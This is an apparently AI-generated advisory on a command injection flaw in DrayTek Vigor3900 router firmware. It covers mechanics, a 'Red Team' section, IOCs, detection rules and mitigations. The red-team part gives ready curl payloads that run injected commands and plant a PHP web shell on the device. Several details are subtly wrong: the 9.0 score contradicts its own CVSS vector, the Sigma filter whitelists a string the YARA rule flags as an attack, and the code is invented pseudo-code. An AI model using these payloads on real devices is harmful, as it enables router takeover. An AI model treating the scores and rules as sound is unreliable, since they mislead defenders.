CVE-2024-45887

Executive Summary

CVE-2024-45887 is a post-authentication command injection vulnerability discovered in the DrayTek Vigor3900 router firmware version 1.5.1.3. The flaw resides in the cgi-bin/mainfunction.cgi CGI script, specifically when the action parameter is set to doOpenVPN. An authenticated attacker can inject arbitrary operating system commands via the action parameter, leading to full remote code execution on the device. This vulnerability poses a critical risk to network integrity and confidentiality, as the Vigor3900 is often deployed as a central gateway in enterprise and SOHO environments. No public exploit code or patch details are currently available, making proactive detection and mitigation essential.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded network appliance.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, likely due to incomplete NVD data. Based on the technical details, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – the vulnerability is exploitable over the network.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): High – authentication is required.
• User Interaction (UI): None – no user action is needed.
• Scope (S): Unchanged – the exploit does not affect other components.
• Confidentiality (C): High – full device access allows data exfiltration.
• Integrity (I): High – attacker can modify system files and configurations.
• Availability (A): High – attacker can disrupt device operation.

Threat Level: Critical (9.0) – despite requiring authentication, the impact is severe due to the device's role as a network gateway.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the CGI interface of the DrayTek Vigor3900. The cgi-bin/mainfunction.cgi script processes the action parameter to determine which function to execute. When action=doOpenVPN, the script constructs a system command using user-supplied input without proper sanitization or escaping.

Root Cause: The action parameter value is directly concatenated into a shell command string. For example, the backend might execute something like:

openvpn --config /tmp/ovpn_$action.conf

An attacker can inject shell metacharacters (e.g., ;, |, &&) into the action parameter to execute arbitrary commands.

Attack Flow:

1. Attacker authenticates to the web interface (default credentials or brute-forced).
2. Attacker sends a crafted POST request to /cgi-bin/mainfunction.cgi with action=doOpenVPN;id.
3. The server executes: openvpn --config /tmp/ovpn_doOpenVPN;id.conf.
4. The injected id command runs, and output is returned in the HTTP response.

Why It Matters: The Vigor3900 is a multi-WAN router with VPN capabilities, often used as a perimeter device. Successful exploitation allows an attacker to pivot into the internal network, intercept traffic, or establish persistent backdoors.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is inferred from the advisory. A typical vulnerable CGI script in C or shell might look like:

Vulnerable (pseudo-code):

char cmd[256];
snprintf(cmd, sizeof(cmd), "openvpn --config /tmp/ovpn_%s.conf", getenv("QUERY_STRING"));
system(cmd);

Patched (pseudo-code):

char *action = get_param("action");
if (strcmp(action, "doOpenVPN") != 0) {
    // reject invalid action
    return;
}
// Use execve with separate arguments to avoid shell injection
char *args[] = {"/usr/sbin/openvpn", "--config", "/tmp/ovpn_doOpenVPN.conf", NULL};
execve(args[0], args, NULL);

The patched version validates the action parameter against a whitelist and uses execve instead of system, preventing shell interpretation of user input.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a DrayTek Vigor3900 with firmware 1.5.1.3.
• Valid credentials (e.g., admin:admin).

Exploit Steps:

1. Authenticate to the web interface and obtain a session cookie.
2. Send a crafted POST request using curl:

curl -X POST http://<target>/cgi-bin/mainfunction.cgi \
  -b "session=<session_cookie>" \
  -d "action=doOpenVPN;id"

3. The output of the id command will be reflected in the response, confirming RCE.

Advanced Payload:

curl -X POST http://<target>/cgi-bin/mainfunction.cgi \
  -b "session=<session_cookie>" \
  -d "action=doOpenVPN;echo '<?php system(\$_GET[\"cmd\"]); ?>' > /www/shell.php"

This creates a web shell for persistent access.

Blue Team

Detection:

• Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with unusual action parameters containing shell metacharacters (;, |, &, `).
• Alert on any action parameter that does not exactly match doOpenVPN.

Honeypot:

• Deploy a fake Vigor3900 endpoint that logs all POST data to /cgi-bin/mainfunction.cgi and triggers an alert on any action value containing non-alphanumeric characters.

Lab Setup:

• Use a virtualized Vigor3900 (if available) or a physical device in an isolated network.
• Simulate exploitation with the above curl commands and verify detection rules.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action parameter containing shell metacharacters.
• Outbound connections from the device to unknown IPs on non-standard ports (e.g., 4444, 1337).
• Unusual DNS queries from the device (e.g., to C2 domains).

File IOCs:

• Unexpected files in /www/ directory (e.g., shell.php, cmd.jsp).
• Modified system binaries in /usr/sbin/ or /bin/.
• New cron jobs or startup scripts in /etc/init.d/.

Process IOCs:

• Running processes with suspicious names (e.g., bash, nc, python) spawned by the web server.
• Multiple openvpn processes with unusual arguments.

Detection Engineering

YARA Rule

rule CVE_2024_45887_Command_Injection {
    meta:
        description = "Detects command injection attempts against DrayTek Vigor3900"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-45887"
    strings:
        $injection1 = "action=doOpenVPN;" ascii wide nocase
        $injection2 = "action=doOpenVPN|" ascii wide nocase
        $injection3 = "action=doOpenVPN&" ascii wide nocase
        $injection4 = "action=doOpenVPN`" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: DrayTek Vigor3900 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to cgi-bin/mainfunction.cgi with malicious action parameter
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-45887
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=doOpenVPN'
    filter:
        cs-uri-query|contains: 'action=doOpenVPN&'  # Legitimate parameter
    condition: selection and not filter
falsepositives:
    - Legitimate OpenVPN configuration changes
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-45887 DrayTek Vigor3900 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/mainfunction.cgi"; http_uri;
    content:"action=doOpenVPN"; http_client_body;
    pcre:"/action=doOpenVPN[;|&`]/Pi";
    sid:1000001;
    rev:1;
    reference:cve,2024-45887;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit management interface access to trusted IPs only via firewall rules.
2. Change Default Credentials: Ensure strong, unique passwords are used for all admin accounts.
3. Disable WAN Management: If not required, disable remote management from the WAN interface.

Long-Term Fix:

• Monitor DrayTek's official support channels for a firmware patch. As of this report, no patch is available.
• Consider replacing the Vigor3900 with a supported alternative if the device is critical.

Compensating Controls:

• Deploy a Web Application Firewall (WAF) with rules to block command injection patterns in POST parameters.
• Enable logging and alerting on all administrative actions.
• Implement network segmentation to limit the blast radius of a compromised router.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.